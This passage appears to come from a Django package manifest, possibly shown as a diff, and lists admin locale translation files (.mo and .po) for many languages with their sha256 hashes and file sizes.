-django/contrib/admin/locale/am/LC_MESSAGES/django.mo,sha256=UOwMxYH1r5AEBpu-P9zxHazk3kwI4CtsPosGIYtl6Hs,8309 -django/contrib/admin/locale/am/LC_MESSAGES/django.po,sha256=NmsIZoBEQwyBIqbKjkwCJ2_iMHnMKB87atoT0iuNXrw,14651 -django/contrib/admin/locale/ar/LC_MESSAGES/django.mo,sha256=tzGQ8jSJc406IBBwtAErlXVqaA10glxB8krZtWp1Rq4,19890 -django/contrib/admin/locale/ar/LC_MESSAGES/django.po,sha256=RBJbiYNDy57K592OKghugZFYiHpTvxUoEQ_B26-5i8A,21339 -django/contrib/admin/locale/ar/LC_MESSAGES/djangojs.mo,sha256=xoI2xNKgspuuJe1UCUB9H6Kyp3AGhj5aeo_WEg5e23A,6545 -django/contrib/admin/locale/ar/LC_MESSAGES/djangojs.po,sha256=jwehFDFk3lMIEH43AEU_JyHOm84Seo-OLd5FmGBbaxo,7281 -django/contrib/admin/locale/ar_DZ/LC_MESSAGES/django.mo,sha256=ipELNNGQYb_nHTEQbUFED8IT26L9c2UXsELf4wk0q6k,19947 -django/contrib/admin/locale/ar_DZ/LC_MESSAGES/django.po,sha256=2mGF2NfofR8WgSJPShF5CrMjECXj0dGFcFaZ2lriulc,21378 -django/contrib/admin/locale/ar_DZ/LC_MESSAGES/djangojs.mo,sha256=L3N1U9OFXYZ8OfrvKHLbVvXa40biIDdmon0ZV8BOIvY,6423 -django/contrib/admin/locale/ar_DZ/LC_MESSAGES/djangojs.po,sha256=Atzp95E2dFtSHZHHna0pBCqU_2V7partODX675OBkQs,7206 -django/contrib/admin/locale/ast/LC_MESSAGES/django.mo,sha256=3uffu2zPbQ1rExUsG_ambggq854Vy8HbullkCYdazA4,2476 -django/contrib/admin/locale/ast/LC_MESSAGES/django.po,sha256=wCWFh9viYUhTGOX0mW3fpN2z0kdE6b7IaA-A5zzb3Yo,11676 -django/contrib/admin/locale/ast/LC_MESSAGES/djangojs.mo,sha256=kiG-lzQidkXER5s_6POO1G91mcAv9VAkAXI25jdYBLE,2137 -django/contrib/admin/locale/ast/LC_MESSAGES/djangojs.po,sha256=s4s6aHocTlzGcFi0p7cFGTi3K8AgoPvFCv7-Hji6At0,4085 -django/contrib/admin/locale/az/LC_MESSAGES/django.mo,sha256=X7b0zSqq6T7OjNQl0oIYHdedeA20A1af4vBcDjdk8dw,18401 -django/contrib/admin/locale/az/LC_MESSAGES/django.po,sha256=UwT85_yk4muCbtIdCFILCLGayqj3eTIiT1zHgoqslwM,20161 -django/contrib/admin/locale/az/LC_MESSAGES/djangojs.mo,sha256=4f2xF9tdk9UkzCgJQDeI86VbvVb_-YUfSgkQygYVzrI,5063 -django/contrib/admin/locale/az/LC_MESSAGES/djangojs.po,sha256=TNgrRYUv8ptUQyz7v7OumJjnektDPlU7J28Om8qg9q8,6230 -django/contrib/admin/locale/be/LC_MESSAGES/django.mo,sha256=ndFEwhHu8GP4EZQoJNSqH-oWNLWdEYcbleaFYCU74nI,23275 -django/contrib/admin/locale/be/LC_MESSAGES/django.po,sha256=QAwFZJpkz-Hm6vS5AHyQ8rxowt_LVhMAYC-cS78F9Qg,24597 -django/contrib/admin/locale/be/LC_MESSAGES/djangojs.mo,sha256=e1xbTtl47sBU5ZCUEf4fHN6E7rRkz_HIYCObX0lWDug,7703 -django/contrib/admin/locale/be/LC_MESSAGES/djangojs.po,sha256=DBSHPnSZm7AVqxg1fINkRQ89QVp_cdi4VhQ7Ynd1NWs,8466 -django/contrib/admin/locale/bg/LC_MESSAGES/django.mo,sha256=fNYcFUCFOnBEH_lR4t80bUN6IwkjS5tIs7xWRNxu80I,22994 -django/contrib/admin/locale/bg/LC_MESSAGES/django.po,sha256=1HZYpZgHwqJsPMwasK1O8zv7mDgX3t-2JTdtV_lzM_w,24461 -django/contrib/admin/locale/bg/LC_MESSAGES/djangojs.mo,sha256=IRQMah9wBmq0g9RZ5hBH_dvQD4Q_pmNG4jJHxCGWwZI,7195 -django/contrib/admin/locale/bg/LC_MESSAGES/djangojs.po,sha256=zv5xU9wS1PCdsmmWaV8txSdY4JduEse7w4iWd3QkzsE,7900 -django/contrib/admin/locale/bn/LC_MESSAGES/django.mo,sha256=I3KUX53ePEC-8x_bwkR5spx3WbJRR8Xf67_2Xrr7Ccg,18585 -django/contrib/admin/locale/bn/LC_MESSAGES/django.po,sha256=UvKCBSa5MuxxZ7U5pRWXH6CEQ9WCJH2cQND0jjBmgpQ,22889 -django/contrib/admin/locale/bn/LC_MESSAGES/djangojs.mo,sha256=t_OiMyPMsR2IdH65qfD9qvQfpWbwFueNuY72XSed2Io,2313 -django/contrib/admin/locale/bn/LC_MESSAGES/djangojs.po,sha256=iFwEJi4k3ULklCq9eQNUhKVblivQPJIoC_6lbyEkotY,4576 -django/contrib/admin/locale/br/LC_MESSAGES/django.mo,sha256=yCuMwrrEB_H44UsnKwY0E87sLpect_AMo0GdBjMZRPs,6489 -django/contrib/admin/locale/br/LC_MESSAGES/django.po,sha256=WMU_sN0ENWgyEbKOm8uVQfTQh9sabvKihtSdMt4XQBM,13717 -django/contrib/admin/locale/br/LC_MESSAGES/djangojs.mo,sha256=n7Yx2k9sAVSNtdY-2Ao6VFsnsx4aiExZ3TF_DnnrKU0,1658 -django/contrib/admin/locale/br/LC_MESSAGES/djangojs.po,sha256=gjg-VapbI9n_827CqNYhbtIQ8W9UcMmMObCsxCzReUU,4108 -django/contrib/admin/locale/bs/LC_MESSAGES/django.mo,sha256=44D550fxiO59Pczu5HZ6gvWEClsfmMuaxQWbA4lCW2M,8845 -django/contrib/admin/locale/bs/LC_MESSAGES/django.po,sha256=FrieR1JB4ssdWwYitJVpZO-odzPBKrW4ZsGK9LA595I,14317 -django/contrib/admin/locale/bs/LC_MESSAGES/djangojs.mo,sha256=SupUK-RLDcqJkpLEsOVjgZOWBRKQMALZLRXGEnA623M,1183 -django/contrib/admin/locale/bs/LC_MESSAGES/djangojs.po,sha256=TOtcfw-Spn5Y8Yugv2OlPoaZ5DRwJjRIl-YKiyU092U,3831 -django/contrib/admin/locale/ca/LC_MESSAGES/django.mo,sha256=Wj8KdBSUuUtebE45FK3kvzl155GdTv4KgecoMxFi0_g,17535 -django/contrib/admin/locale/ca/LC_MESSAGES/django.po,sha256=5s5RIsOY5uL1oQQ5IrOhsOgAWWFZ25vTcYURO2dlR8g,19130 -django/contrib/admin/locale/ca/LC_MESSAGES/djangojs.mo,sha256=HjPaPtF5TZGtRu1P40X2YIuRAoKndwurWE4nlZlc7sE,6075 -django/contrib/admin/locale/ca/LC_MESSAGES/djangojs.po,sha256=G7jxAwjnpvvlGinLWDx_awUBu6XwVrdIFqdxBDMVfJQ,6906 -django/contrib/admin/locale/ckb/LC_MESSAGES/django.mo,sha256=ZVy1U4xWrNSU7lUL2mfdqx9MMQODgbi5B5g7Cea_26M,23234 -django/contrib/admin/locale/ckb/LC_MESSAGES/django.po,sha256=TDGnHwoHvZbYmOvsQEU8rHAgzjp5dY1jAwyu3VGblbo,24560 -django/contrib/admin/locale/ckb/LC_MESSAGES/djangojs.mo,sha256=-Czkr04TLjKYmob6CyoJxuS3YcUs7z-I9Sgh6rOyOdc,7671 -django/contrib/admin/locale/ckb/LC_MESSAGES/djangojs.po,sha256=L1r7AcAvTOFO3_uzQ_9oRHEIYAcnDWd_oIIqX133mjU,8392 -django/contrib/admin/locale/cs/LC_MESSAGES/django.mo,sha256=w2IX5ZS8RaBtWWIvlPiAbcUDpmjiFD2ZGiqEkCzBSdc,19004 -django/contrib/admin/locale/cs/LC_MESSAGES/django.po,sha256=ijy86d9djUVhsRGT52tuLbrKRN3ETNQzo8bSxEdlmhs,20670 -django/contrib/admin/locale/cs/LC_MESSAGES/djangojs.mo,sha256=ArA6qnVlUAsj7EugF0GM4XW494VpTEj3Uu__Qu9jIig,6596 -django/contrib/admin/locale/cs/LC_MESSAGES/djangojs.po,sha256=DKsC0k5i9t3i77uxR_h99MOip-fc3JPDIV9EriGr7qw,7587 -django/contrib/admin/locale/cy/LC_MESSAGES/django.mo,sha256=7ifUyqraN1n0hbyTVb_UjRIG1jdn1HcwehugHBiQvHs,12521 -django/contrib/admin/locale/cy/LC_MESSAGES/django.po,sha256=bS_gUoKklZwd3Vs0YlRTt24-k5ure5ObTu-b5nB5qCA,15918 -django/contrib/admin/locale/cy/LC_MESSAGES/djangojs.mo,sha256=fOCA1fXEmJw_QaXEISLkuBhaMnEmP1ssP9lhqdCCC3c,3801 -django/contrib/admin/locale/cy/LC_MESSAGES/djangojs.po,sha256=OVcS-3tlMJS_T58qnZbWLGczHwFyAjbuWr35YwuxAVM,5082 -django/contrib/admin/locale/da/LC_MESSAGES/django.mo,sha256=7_hYoJ5S8Qki7Cff0RLkSIPHtPeHZrtMBBaDF0vIKX8,18049 -django/contrib/admin/locale/da/LC_MESSAGES/django.po,sha256=GUxYk2nbLZ5GmA_ACJYentMSKPYNDfKulg5DymVMe_Q,19457 -django/contrib/admin/locale/da/LC_MESSAGES/djangojs.mo,sha256=FSnUEFocN91NyAaDmEQn7Rsit95EYpTrAeleHu-zREM,5500 -django/contrib/admin/locale/da/LC_MESSAGES/djangojs.po,sha256=tNhgrEX4KTmYSPq7VqPr8aH3Ea8WFxf4CNjakmXkFMs,6415 -django/contrib/admin/locale/de/LC_MESSAGES/django.mo,sha256=v2tKhZL-KDMv4UDzNuUgXDEIIoE787wFfpKHk0PUTHU,18731 -django/contrib/admin/locale/de/LC_MESSAGES/django.po,sha256=lNY-xVF6alq55oF3Jn6wj2WWb2j9HO52OUVVxxqDHOQ,20259 -django/contrib/admin/locale/de/LC_MESSAGES/djangojs.mo,sha256=kdve4d181AhGDekHiaxt79iyVWvahp3k9SN3H6Xx_9w,6130 -django/contrib/admin/locale/de/LC_MESSAGES/djangojs.po,sha256=tb25boxPrggqnB7mB2M5iyZ6CEM87PBZNa_JzaOXFF4,6921 -django/contrib/admin/locale/dsb/LC_MESSAGES/django.mo,sha256=JfYepG0p5kaXbQqajK51A7navCp3r1Ng_EK44MMR07o,19107 -django/contrib/admin/locale/dsb/LC_MESSAGES/django.po,sha256=yTLufP5D0AR0Bo5LLxuGqrSYMoZ9tQISgdv1k_OvFGM,20359 -django/contrib/admin/locale/dsb/LC_MESSAGES/djangojs.mo,sha256=Xc2t4DzTEakQT0lEvZzEEC8GshU4e2XMR0JO1wWfEpI,6133 -django/contrib/admin/locale/dsb/LC_MESSAGES/djangojs.po,sha256=HJ0YGiQ-rjSYUrXBCZyslvz0BOOSp9_hd0YszIy_ihE,6945 -django/contrib/admin/locale/el/LC_MESSAGES/django.mo,sha256=54kG_94nJigDgJpZM8Cy58G_AGLdS5csJFEjTTvJBfM,22968 -django/contrib/admin/locale/el/LC_MESSAGES/django.po,sha256=f2gUQtedb0sZCBxAoy3hP2rGXT9ysP5UTOlCBvu2NvI,24555 -django/contrib/admin/locale/el/LC_MESSAGES/djangojs.mo,sha256=cix1Bkj2hYO_ofRvtPDhJ9rBnTR6-cnKCFKpZrsxJ34,6509 -django/contrib/admin/locale/el/LC_MESSAGES/djangojs.po,sha256=R05tMMuQEjVQpioy_ayQgFBlLM4WdwXthkMguW6ga24,7339 -django/contrib/admin/locale/en/LC_MESSAGES/django.mo,sha256=U0OV81NfbuNL9ctF-gbGUG5al1StqN-daB-F-gFBFC8,356 -django/contrib/admin/locale/en/LC_MESSAGES/django.po,sha256=bFTihRbMdNnasQx7HzUzERlTYFhu6lItoRdgMFeIRvs,25651 -django/contrib/admin/locale/en/LC_MESSAGES/djangojs.mo,sha256=U0OV81NfbuNL9ctF-gbGUG5al1StqN-daB-F-gFBFC8,356 -django/contrib/admin/locale/en/LC_MESSAGES/djangojs.po,sha256=VncMFkFMuX0jMarJQtEfPJ8mMwLeCcr1WETUY79xvGs,8709 -django/contrib/admin/locale/en_AU/LC_MESSAGES/django.mo,sha256=QEvxPxDqNUmq8NxN-8c_F6KMEcWWum3YzERlc3_S_DM,16191 -django/contrib/admin/locale/en_AU/LC_MESSAGES/django.po,sha256=BoVuGaPoGdQcF3zdgGRxrNKSq2XLHTvKfINCyU8t86Y,17548 -django/contrib/admin/locale/en_AU/LC_MESSAGES/djangojs.mo,sha256=s0qPS8TjODtPo4miSznQfS6M8CQK9URDeMKeQsp7DK4,5001 -django/contrib/admin/locale/en_AU/LC_MESSAGES/djangojs.po,sha256=YecPU6VmUDDNNIzZVl2Wgd6lNRp3msJaW8FhdHMtEyc,5553 -django/contrib/admin/locale/en_GB/LC_MESSAGES/django.mo,sha256=pFkTMRDDj76WA91wtGPjUB7Pq2PN7IJEC54Tewobrlc,11159 -django/contrib/admin/locale/en_GB/LC_MESSAGES/django.po,sha256=REUJMGLGRyDMkqh4kJdYXO9R0Y6CULFVumJ_P3a0nv0,15313 -django/contrib/admin/locale/en_GB/LC_MESSAGES/djangojs.mo,sha256=hW325c2HlYIIdvNE308c935_IaDu7_qeP-NlwPnklhQ,3147 -django/contrib/admin/locale/en_GB/LC_MESSAGES/djangojs.po,sha256=Ol5j1-BLbtSIDgbcC0o7tg_uHImcjJQmkA4-kSmZY9o,4581 -django/contrib/admin/locale/eo/LC_MESSAGES/django.mo,sha256=zAeGKzSNit2LNNX97WXaARyzxKIasOmTutcTPqpRKAE,14194 -django/contrib/admin/locale/eo/LC_MESSAGES/django.po,sha256=LHoYvbenD9A05EkHtOk8raW7aKyyiqN50d6OHMxnAZY,17258 -django/contrib/admin/locale/eo/LC_MESSAGES/djangojs.mo,sha256=hGXULxueBP24xSZ0StxfFCO0vwZZME7OEERxgnWBqcI,4595 -django/contrib/admin/locale/eo/LC_MESSAGES/djangojs.po,sha256=enHGjcvH_B0Z9K2Vk391qHAKT7QamqUcx8xPzYLQltA,5698 -django/contrib/admin/locale/es/LC_MESSAGES/django.mo,sha256=vKcsIAL0TDBolkBdzj0d8N60blUfGIHwTvN1r_tp3h4,19193 -django/contrib/admin/locale/es/LC_MESSAGES/django.po,sha256=5640-lfFYuO7ZsJ41VtaHdhvpqdPNtadbt88SK95xo4,21302 -django/contrib/admin/locale/es/LC_MESSAGES/djangojs.mo,sha256=GH3zJZEVfJc_REXoYwaCNzhL4EHJosWa7qDmeFRWbco,6347 -django/contrib/admin/locale/es/LC_MESSAGES/djangojs.po,sha256=aqR-EZ2XUWNclkSxVa1xKFdaZpw7sQMORSMMINDRjlQ,7290 -django/contrib/admin/locale/es_AR/LC_MESSAGES/django.mo,sha256=qXxQAVqtOJgMuZjLfCNlYiuUzRaOaV3HJrOuOxxVtfI,19306 -django/contrib/admin/locale/es_AR/LC_MESSAGES/django.po,sha256=LneQnuXj05NnsJkvN3h4NZjqeNiXUVzTufIQ19K7004,20616 -django/contrib/admin/locale/es_AR/LC_MESSAGES/djangojs.mo,sha256=wiF10mZhUPy8G5fcMpAqKPKqk-aMhHAoKnRY6yBVMmY,6131 -django/contrib/admin/locale/es_AR/LC_MESSAGES/djangojs.po,sha256=Rl_mJ_AsM-ld2hfS069gm0xuxyd1T34FtIBT-q2iBY8,6871 -django/contrib/admin/locale/es_CO/LC_MESSAGES/django.mo,sha256=0k8kSiwIawYCa-Lao0uetNPLUzd4m_me3tCAVBvgcSw,15156 -django/contrib/admin/locale/es_CO/LC_MESSAGES/django.po,sha256=4T_syIsVY-nyvn5gEAtfN-ejPrJSUpNT2dmzufxaBsE,17782 -django/contrib/admin/locale/es_CO/LC_MESSAGES/djangojs.mo,sha256=PLS10KgX10kxyy7MUkiyLjqhMzRgkAFGPmzugx9AGfs,3895 -django/contrib/admin/locale/es_CO/LC_MESSAGES/djangojs.po,sha256=Y4bkC8vkJE6kqLbN8t56dR5670B06sB2fbtVzmQygK8,5176 -django/contrib/admin/locale/es_MX/LC_MESSAGES/django.mo,sha256=O8CbY83U4fTvvPPuONtlMx6jpA-qkrYxNTkLuMrWiRQ,11517 -django/contrib/admin/locale/es_MX/LC_MESSAGES/django.po,sha256=8MSKNxhHMp0ksr5AUUAbs_H6MtMjIqkaFwmaJlBxELs,16307 -django/contrib/admin/locale/es_MX/LC_MESSAGES/djangojs.mo,sha256=2w3CMJFBugP8xMOmXsDU82xUm8cWGRUGZQX5XjiTCpM,3380 -django/contrib/admin/locale/es_MX/LC_MESSAGES/djangojs.po,sha256=OP9cBsdCf3zZAXiKBMJPvY1AHwC_WE1k2vKlzVCtUec,4761 -django/contrib/admin/locale/es_VE/LC_MESSAGES/django.mo,sha256=himCORjsM-U3QMYoURSRbVv09i0P7-cfVh26aQgGnKg,16837 -django/contrib/admin/locale/es_VE/LC_MESSAGES/django.po,sha256=mlmaSYIHpa-Vp3f3NJfdt2RXB88CVZRoPEMfl-tccr0,18144 -django/contrib/admin/locale/es_VE/LC_MESSAGES/djangojs.mo,sha256=Zy-Hj_Mr2FiMiGGrZyssN7GZJrbxRj3_yKQFZKR36Ro,4635 -django/contrib/admin/locale/es_VE/LC_MESSAGES/djangojs.po,sha256=RI8CIdewjL3bAivniMOl7lA9tD7caP4zEo2WK71cX7c,5151 -django/contrib/admin/locale/et/LC_MESSAGES/django.mo,sha256=-OGEknBvQAJcdZ-6MQBL4TOUyzvplOcXwKqqkUE5IFg,17675 -django/contrib/admin/locale/et/LC_MESSAGES/django.po,sha256=Y0l9bxGkEi8nsirIAw0VkyzbHwMbAaGmZ_0aLKUaLMA,19241 -django/contrib/admin/locale/et/LC_MESSAGES/djangojs.mo,sha256=j38AhwE8uWvn5bVeiXMwo2EHg3azFq192pWsTXw1y0w,4951 -django/contrib/admin/locale/et/LC_MESSAGES/djangojs.po,sha256=KpyLe4R3JG4Ill-9vduLayus83IDnf53k7t1zjP3qag,6084 -django/contrib/admin/locale/eu/LC_MESSAGES/django.mo,sha256=CBk_9H8S8LlK8hfGQsEB7IgSms-BsURzAFrX9Zrsw4c,15009 -django/contrib/admin/locale/eu/LC_MESSAGES/django.po,sha256=9vnPgJRPcdSa4P5rguB5zqWQC1xAt4POzDw-mSD8UHs,17489 -django/contrib/admin/locale/eu/LC_MESSAGES/djangojs.mo,sha256=vKtO_mbexiW-EO-L-G0PYruvc8N7GOF94HWQCkDnJNQ,4480 -django/contrib/admin/locale/eu/LC_MESSAGES/djangojs.po,sha256=BAWU-6kH8PLBxx_d9ZeeueB_lV5KFXjbRJXgKN43nQ4,5560 -django/contrib/admin/locale/fa/LC_MESSAGES/django.mo,sha256=Y01G4go-V_BZ1aR7u5Z9StnqL0BS5kvj2ZlSfffhToY,20889 -django/contrib/admin/locale/fa/LC_MESSAGES/django.po,sha256=1q914M9N6NfUgP72mIhTRMYukc1r-GpVV5Pt4qESTTM,23054 -django/contrib/admin/locale/fa/LC_MESSAGES/djangojs.mo,sha256=MAje4ub3vWYhiKrVR_LvxAIqkvOlFpVcXQEBz3ezlPs,6050 -django/contrib/admin/locale/fa/LC_MESSAGES/djangojs.po,sha256=1nzEmRuswDmyCCMShGH2CYdjMY7tUuedfN4kDCEnTCM,6859 -django/contrib/admin/locale/fi/LC_MESSAGES/django.mo,sha256=qXNAKLeJGOXu06lWQH2EjAf88Sz28QkN6Sk169nLP8w,17498 -django/contrib/admin/locale/fi/LC_MESSAGES/django.po,sha256=LnWw3QvvRKL3QIdb73TWvILZPSO5u7AXOO2w_SeyPqA,19207 -django/contrib/admin/locale/fi/LC_MESSAGES/djangojs.mo,sha256=7dJwmO361wJAxrRJ3YEeBlJi2r7NXQNOfEeOj_j3uKE,4993 -django/contrib/admin/locale/fi/LC_MESSAGES/djangojs.po,sha256=ze5Z223mNN1lpYNk6WpPgxCRVgK_VMLWDWmNBc-rAz4,6153 -django/contrib/admin/locale/fr/LC_MESSAGES/django.mo,sha256=P609TUMJa9rmp_7yEkgB8TEgl7SZ6GwrAHVcYeH-rb0,19999 -django/contrib/admin/locale/fr/LC_MESSAGES/django.po,sha256=vp35en0d6dP7pNE4HvN0Sla9Pigt1VcnfhgQZH8896g,21373 -django/contrib/admin/locale/fr/LC_MESSAGES/djangojs.mo,sha256=gM98dOd3FGvot4V-RNNbL8FV6TBFTTcB4oEbNx1qjqs,6080 -django/contrib/admin/locale/fr/LC_MESSAGES/djangojs.po,sha256=wqs3ZbFNgkBGbFOmnlE_6TrM2n-TP0Tn1UT6WYsVCmM,6891 -django/contrib/admin/locale/fy/LC_MESSAGES/django.mo,sha256=mWnHXGJUtiewo1F0bsuJCE_YBh7-Ak9gjTpwjOAv-HI,476 -django/contrib/admin/locale/fy/LC_MESSAGES/django.po,sha256=oSKEF_DInUC42Xzhw9HiTobJjE2fLNI1VE5_p6rqnCE,10499 -django/contrib/admin/locale/fy/LC_MESSAGES/djangojs.mo,sha256=YQQy7wpjBORD9Isd-p0lLzYrUgAqv770_56-vXa0EOc,476 -django/contrib/admin/locale/fy/LC_MESSAGES/djangojs.po,sha256=efBDCcu43j4SRxN8duO5Yfe7NlpcM88kUPzz-qOkC04,2864 -django/contrib/admin/locale/ga/LC_MESSAGES/django.mo,sha256=2Qn62CmOwgNaeLnV6JE2dNVl9tSZaYGGx5NG8X6g6Z0,19428 -django/contrib/admin/locale/ga/LC_MESSAGES/django.po,sha256=00HFcdeQmjvrTyfUz4I8cFM_bYqF5bLX5pwFht-iPO0,20913 -django/contrib/admin/locale/ga/LC_MESSAGES/djangojs.mo,sha256=Cdx01Gpcs6wYEnpSif1r4O9gKj-YL__IXfBaL-Wx0u0,6910 -django/contrib/admin/locale/ga/LC_MESSAGES/djangojs.po,sha256=7u1ncj7NVTb54Yak8wMFqCKHfjtb6EfFouhT2sbQlIg,7828 -django/contrib/admin/locale/gd/LC_MESSAGES/django.mo,sha256=HEqiGvjMp0NnfIS0Z-c1i8SicEtMPIg8LvNMh-SXiPg,18871 -django/contrib/admin/locale/gd/LC_MESSAGES/django.po,sha256=cZWnJyEoyGFLbk_M4-eddTJLKJ0dqTIlIj4w6YwcjJg,20139 -django/contrib/admin/locale/gd/LC_MESSAGES/djangojs.mo,sha256=QA2_hxHGzt_y0U8sAGQaT27IvvyWrehLPKP2X1jAvEs,5904 -django/contrib/admin/locale/gd/LC_MESSAGES/djangojs.po,sha256=KyYGpFHq2E55dK005xzH0I2RD-C2kD6BlJi8bcMjtRA,6540 -django/contrib/admin/locale/gl/LC_MESSAGES/django.mo,sha256=0sPdq8aidlYj1CYL0on_rwwp80oN1Ex-vw2pehBon-M,18542 -django/contrib/admin/locale/gl/LC_MESSAGES/django.po,sha256=GFJrhH0aQZsLrUe4Dbzwi7BDtp7KRyklnnzZFr2-BqU,20074 -django/contrib/admin/locale/gl/LC_MESSAGES/djangojs.mo,sha256=AePXV8VZToob6vNEsOqyuijJYv-QxRfBO7BrBUgLi_Q,6083 -django/contrib/admin/locale/gl/LC_MESSAGES/djangojs.po,sha256=eDMuV05SuQrACfcovaPb8Zsk8hP4g1GMx6507QNFAko,6868 -django/contrib/admin/locale/he/LC_MESSAGES/django.mo,sha256=VZaL7Hch0Z6Tc4rjk7FQvmggs5lb02fOAhASZZqjc4s,19315 -django/contrib/admin/locale/he/LC_MESSAGES/django.po,sha256=ZOGxDZnsChfmb54BCx9aK__EaB3cPdscqK_MjfnCkUs,21094 -django/contrib/admin/locale/he/LC_MESSAGES/djangojs.mo,sha256=E-ZlEnXIeJIkXWcthR9kgNJBzDp6gT7mKKDUpEVqM7k,6893 -django/contrib/admin/locale/he/LC_MESSAGES/djangojs.po,sha256=1tenNpIJmcT5wTRNETkSO7cDlDlL1Mqpnb-klRlHw-s,7809 -django/contrib/admin/locale/hi/LC_MESSAGES/django.mo,sha256=yWjTYyrVxXxwBWgPsC7IJ9IxL_85v378To4PCEEcwuI,13811 -django/contrib/admin/locale/hi/LC_MESSAGES/django.po,sha256=FpKFToDAMsgc1aG6-CVpi5wAxhMQjkZxz_89kCiKmS4,19426 -django/contrib/admin/locale/hi/LC_MESSAGES/djangojs.mo,sha256=yCUHDS17dQDKcAbqCg5q8ualaUgaa9qndORgM-tLCIw,4893 -django/contrib/admin/locale/hi/LC_MESSAGES/djangojs.po,sha256=U9rb5tPMICK50bRyTl40lvn-tvh6xL_6o7xIPkzfKi0,6378 -django/contrib/admin/locale/hr/LC_MESSAGES/django.mo,sha256=3TR3uFcd0pnkDi551WaB9IyKX1aOazH7USxqc0lA0KQ,14702 -django/contrib/admin/locale/hr/LC_MESSAGES/django.po,sha256=qcW7tvZoWZIR8l-nMRexGDD8VlrOD7l5Fah6-ecilMk,17378 -django/contrib/admin/locale/hr/LC_MESSAGES/djangojs.mo,sha256=KR34lviGYh1esCkPE9xcDE1pQ_q-RxK1R2LPjnG553w,3360 -django/contrib/admin/locale/hr/LC_MESSAGES/djangojs.po,sha256=w7AqbYcLtu88R3KIKKKXyRt2gwBBBnr-ulxONWbw01I,4870 -django/contrib/admin/locale/hsb/LC_MESSAGES/django.mo,sha256=Jz72ZNFNAgewJWjKwEHB_Y5wh9peiZbyRVpZxgLa_QI,18884 -django/contrib/admin/locale/hsb/LC_MESSAGES/django.po,sha256=j7TRlgvm8DlTfkZOS1ZoDHBBopycZoqXdQ8IOh3lck8,20138 -django/contrib/admin/locale/hsb/LC_MESSAGES/djangojs.mo,sha256=VExZu8naS_aoFQLW0RvmqiuRV14V47J1tDA6_ym5QlY,6166 -django/contrib/admin/locale/hsb/LC_MESSAGES/djangojs.po,sha256=dwM7DDrRNyZlH-wkO49BbocQVhjm7EWYJnm7xOs8i_Q,6987 -django/contrib/admin/locale/hu/LC_MESSAGES/django.mo,sha256=WXCxQ4oYXpLFnjF4rVz0GLuMFlWym9aY_Em2adOGkMk,18298 -django/contrib/admin/locale/hu/LC_MESSAGES/django.po,sha256=Kab_Fw3nsX60cnlf1-olgqFQOdZsmomkqCqCospnMI4,20172 -django/contrib/admin/locale/hu/LC_MESSAGES/djangojs.mo,sha256=tXeG5F6_Yh6qHmNUNrlgzavH1Wc8NZb3fj4oEW9qE_M,6034 -django/contrib/admin/locale/hu/LC_MESSAGES/djangojs.po,sha256=pvn7ae43zgVp3mpjXPI7_JCqvQLaHZZF7hTasP2uZx0,6854 -django/contrib/admin/locale/hy/LC_MESSAGES/django.mo,sha256=Dcx9cOsYBfbgQgoAQoLhn_cG1d2sKGV6dag4DwnUTaY,18274 -django/contrib/admin/locale/hy/LC_MESSAGES/django.po,sha256=CnQlRZ_DUILMIqVEgUTT2sufAseEKJHHjWsYr_LAqi8,20771 -django/contrib/admin/locale/hy/LC_MESSAGES/djangojs.mo,sha256=ttfGmyEN0-3bM-WmfCge2lG8inubMPOzFXfZrfX9sfw,5636 -django/contrib/admin/locale/hy/LC_MESSAGES/djangojs.po,sha256=jf94wzUOMQaKSBR-77aijQXfdRAqiYSeAQopiT_8Obc,6046 -django/contrib/admin/locale/ia/LC_MESSAGES/django.mo,sha256=SRKlr8RqW8FQhzMsXdA9HNqttO3hc0xf4QdQJd4Dy8c,11278 -django/contrib/admin/locale/ia/LC_MESSAGES/django.po,sha256=pBQLQsMinRNh0UzIHBy3qEW0etUWMhFALu4-h-woFyE,15337 -django/contrib/admin/locale/ia/LC_MESSAGES/djangojs.mo,sha256=28MiqUf-0-p3PIaongqgPQp2F3D54MLAujPslVACAls,3177 -django/contrib/admin/locale/ia/LC_MESSAGES/djangojs.po,sha256=CauoEc8Fiowa8k6K-f9N8fQDle40qsgtXdNPDHBiudQ,4567 -django/contrib/admin/locale/id/LC_MESSAGES/django.mo,sha256=8a5qgQa9978ugGkZmCoTNn3X5_QQ0bkSUSE_uOeBQcE,17343 -django/contrib/admin/locale/id/LC_MESSAGES/django.po,sha256=8hP0m4Prd_ycZgbbJamddgCgeL7QpWrfRmkyVytoZB0,19186 -django/contrib/admin/locale/id/LC_MESSAGES/djangojs.mo,sha256=wCT5EADe3TNp4o3g5Q0IlxQTXAAEck0MdXgJvLa1Y3I,4764 -django/contrib/admin/locale/id/LC_MESSAGES/djangojs.po,sha256=0tPwEvM4at_kxL-oo7hcJRluOgY-MGR6elGjvDLAwGg,5933 -django/contrib/admin/locale/io/LC_MESSAGES/django.mo,sha256=URiYZQZpROBedC-AkpVo0q3Tz78VfkmwN1W7j6jYpMo,12624 -django/contrib/admin/locale/io/LC_MESSAGES/django.po,sha256=y0WXY7v_9ff-ZbFasj33loG-xWlFO8ttvCB6YPyF7FQ,15562 -django/contrib/admin/locale/io/LC_MESSAGES/djangojs.mo,sha256=nMu5JhIy8Fjie0g5bT8-h42YElCiS00b4h8ej_Ie-w0,464 -django/contrib/admin/locale/io/LC_MESSAGES/djangojs.po,sha256=WLh40q6yDs-8ZG1hpz6kfMQDXuUzOZa7cqtEPDywxG4,2852 -django/contrib/admin/locale/is/LC_MESSAGES/django.mo,sha256=csD3bmz3iQgLLdSqCKOmY_d893147TvDumrpRVoRTY0,16804 -django/contrib/admin/locale/is/LC_MESSAGES/django.po,sha256=tXgb3ARXP5tPa5iEYwwiHscDGfjS5JgIV2BsUX8OnjE,18222 -django/contrib/admin/locale/is/LC_MESSAGES/djangojs.mo,sha256=Z3ujWoenX5yYTAUmHUSCvHcuV65nQmYKPv6Jo9ygx_c,5174 -django/contrib/admin/locale/is/LC_MESSAGES/djangojs.po,sha256=YPf4XqfnpvrS9irAS8O4G0jgU5PCoQ9C-w3MoDipelk,5847 -django/contrib/admin/locale/it/LC_MESSAGES/django.mo,sha256=N_pVjbd3SkV4xtFMvwtlwRWo_ulGR83SzKcPD8wiFgY,18505 -django/contrib/admin/locale/it/LC_MESSAGES/django.po,sha256=hVYj4UvphkCqlFzH6NtyRAZgGewCKNjVnON0vHtxGKY,20338 -django/contrib/admin/locale/it/LC_MESSAGES/djangojs.mo,sha256=jwic05InfrZW6AE0qdIAFKXAU3mm92GXYlgmGGzEr5w,5134 